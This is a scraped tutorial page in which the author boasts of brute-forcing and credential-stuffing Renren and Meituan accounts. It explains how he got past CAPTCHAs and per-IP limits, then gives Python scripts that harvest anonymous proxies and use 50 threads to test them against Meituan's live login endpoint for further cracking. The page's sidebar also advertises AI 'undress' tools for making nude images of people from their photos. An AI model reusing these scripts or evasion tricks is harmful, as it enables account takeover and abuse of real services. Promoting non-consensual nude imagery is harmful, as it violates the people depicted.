Home Backend Development Python Tutorial Code example of obtaining and verifying HTTP proxy in batches through python

Code example of obtaining and verifying HTTP proxy in batches through python

May 02, 2017 pm 03:24 PM
http proxy python script verify

This article mainly introduces the Python script for batch acquisition and verification of HTTP proxy. Friends who need it can refer to

HTTP brute force cracking and credential stuffing. There are some common techniques, such as:

1. When scanning the account on Renren.com, I encountered a single account error twice and was forced to enter a verification code, but the other party did not implement the IP policy.

I use the method of maintaining a queue of 100,000 (username, password) to bypass the verification code. The specific method is that when a certain username and password combination requires a verification code, the cracking sequence is suspended and placed at the end of the queue to wait for the next test, and continue to crack other account passwords.

This ensures that 2/3 of the time is spent on normal cracking and account scanning.

2. When cracking a system account on Meituan.com, I encountered certain restrictions on single IP access, and the request frequency should not be too fast. So I hung up 72 HTTP proxies to solve this problem. It seems that the requests from each IP are normal, but in fact, from the perspective of the entire program, the efficiency is quite impressive.

In this article, I posted a fragment of my own HTTP script, which is actually only a few lines. The anonymous proxy is grabbed from here: http://www.xici.net.co/nn/

First get the proxy list:

from bs4 import BeautifulSoup
import urllib2
of = open('proxy.txt' , 'w')
for page in range(1, 160):
  html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()
  soup = BeautifulSoup(html_doc)
  trs = soup.find('table', id='ip_list').find_all('tr')
  for tr in trs[1:]:
    tds = tr.find_all('td')
    ip = tds[1].text.strip()
    port = tds[2].text.strip()
    protocol = tds[5].text.strip()
    if protocol == 'HTTP' or protocol == 'HTTPS':
      of.write('%s=%s:%s\n' % (protocol, ip, port) )
      print '%s=%s:%s' % (protocol, ip, port)
of.close()
Copy after login

Then verify whether the proxy is available, because I am The account used to crack the Meituan system, so Meituan’s page tag is used:

#encoding=gbk
import httplib
import time
import urllib
import threading
inFile = open('proxy.txt', 'r')
outFile = open('available.txt', 'w')
lock = threading.Lock()
def test():
  while True:
    lock.acquire()
    line = inFile.readline().strip()
    lock.release()
    if len(line) == 0: break
    protocol, proxy = line.split('=')
    headers = {'Content-Type': 'application/x-www-form-urlencoded',
      'Cookie': ''}
    try:
      conn = httplib.HTTPConnection(proxy, timeout=3.0)
      conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )
      res = conn.getresponse()
      ret_headers = str( res.getheaders() ) 
      html_doc = res.read().decode('utf-8')
      print html_doc.encode('gbk')
      if ret_headers.find(u'/m/account/login/') > 0:
        lock.acquire()
        print 'add proxy', proxy
        outFile.write(proxy + '\n')
        lock.release()
      else:
        print '.',
    except Exception, e:
      print e

all_thread = []
for i in range(50):
  t = threading.Thread(target=test)
  all_thread.append(t)
  t.start()
  
for t in all_thread:
  t.join()

inFile.close()
outFile.close()
Copy after login

The above is the detailed content of Code example of obtaining and verifying HTTP proxy in batches through python. For more information, please follow other related articles on the PHP Chinese website!

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

How to verify signature in PDF How to verify signature in PDF Feb 18, 2024 pm 05:33 PM

We usually receive PDF files from the government or other agencies, some with digital signatures. After verifying the signature, we see the SignatureValid message and a green check mark. If the signature is not verified, the validity is unknown. Verifying signatures is important, let’s see how to do it in PDF. How to Verify Signatures in PDF Verifying signatures in PDF format makes it more trustworthy and the document more likely to be accepted. You can verify signatures in PDF documents in the following ways. Open the PDF in Adobe Reader Right-click the signature and select Show Signature Properties Click the Show Signer Certificate button Add the signature to the Trusted Certificates list from the Trust tab Click Verify Signature to complete the verification Let

Do you know some reasons why crontab scheduled tasks are not executed? Do you know some reasons why crontab scheduled tasks are not executed? Mar 09, 2024 am 09:49 AM

Summary of some reasons why crontab scheduled tasks are not executed. Update time: January 9, 2019 09:34:57 Author: Hope on the field. This article mainly summarizes and introduces to you some reasons why crontab scheduled tasks are not executed. For everyone Solutions are given for each of the possible triggers, which have certain reference and learning value for colleagues who encounter this problem. Students in need can follow the editor to learn together. Preface: I have encountered some problems at work recently. The crontab scheduled task was not executed. Later, when I searched on the Internet, I found that the Internet mainly mentioned these five incentives: 1. The crond service is not started. Crontab is not a function of the Linux kernel, but relies on a cron.

Detailed method to unblock using WeChat friend-assisted verification Detailed method to unblock using WeChat friend-assisted verification Mar 25, 2024 pm 01:26 PM

1. After opening WeChat, click the search icon, enter WeChat team, and click the service below to enter. 2. After entering, click the self-service tool option in the lower left corner. 3. After clicking, in the options above, click the option of unblocking/appealing for auxiliary verification.

PyCharm Advanced Tutorial: Use PyInstaller to package code into EXE format PyCharm Advanced Tutorial: Use PyInstaller to package code into EXE format Feb 20, 2024 am 09:34 AM

PyCharm is a powerful Python integrated development environment that provides a wealth of functions and tools to help developers improve efficiency. Among them, PyInstaller is a commonly used tool that can package Python code into an executable file (EXE format) to facilitate running on machines without a Python environment. In this article, we will introduce how to use PyInstaller in PyCharm to package Python code into EXE format, and provide specific

Exploring Orange3: Opening up a new world of data mining and machine learning! Exploring Orange3: Opening up a new world of data mining and machine learning! Mar 04, 2024 pm 08:16 PM

Orange3 is a powerful open source data visualization and machine learning tool. It has rich data processing, analysis and modeling functions, providing users with simple and fast data mining and machine learning solutions. This article will briefly introduce the basic functions and usage of Orange3, and combine it with actual application scenarios and Python code cases to help readers better master the usage skills of Orange3. The basic functions of Orange3 include data loading, data preprocessing, feature selection, model establishment and evaluation, etc. Users can use the intuitive interface to drag and drop components to easily build data processes. At the same time, more complex data processing and modeling tasks can also be completed through Python scripts. Below we will go through a practical

New features in PHP 8: Added verification and signing New features in PHP 8: Added verification and signing Mar 27, 2024 am 08:21 AM

PHP8 is the latest version of PHP, bringing more convenience and functionality to programmers. This version has a special focus on security and performance, and one of the noteworthy new features is the addition of verification and signing capabilities. In this article, we'll take a closer look at these new features and their uses. Verification and signing are very important security concepts in computer science. They are often used to ensure that the data transmitted is complete and authentic. Verification and signatures become even more important when dealing with online transactions and sensitive information because if someone is able to tamper with the data, it could potentially

How to repeat a string in python_python repeating string tutorial How to repeat a string in python_python repeating string tutorial Apr 02, 2024 pm 03:58 PM

1. First open pycharm and enter the pycharm homepage. 2. Then create a new python script, right-click - click new - click pythonfile. 3. Enter a string, code: s="-". 4. Then you need to repeat the symbols in the string 20 times, code: s1=s*20. 5. Enter the print output code, code: print(s1). 6. Finally run the script and you will see our return value at the bottom: - repeated 20 times.

How to read excel data in pycharm How to read excel data in pycharm Apr 03, 2024 pm 08:42 PM

How to read Excel data using PyCharm? The steps are as follows: install the openpyxl library; import the openpyxl library; load the Excel workbook; access a specific worksheet; access cells in the worksheet; traverse rows and columns.

See all articles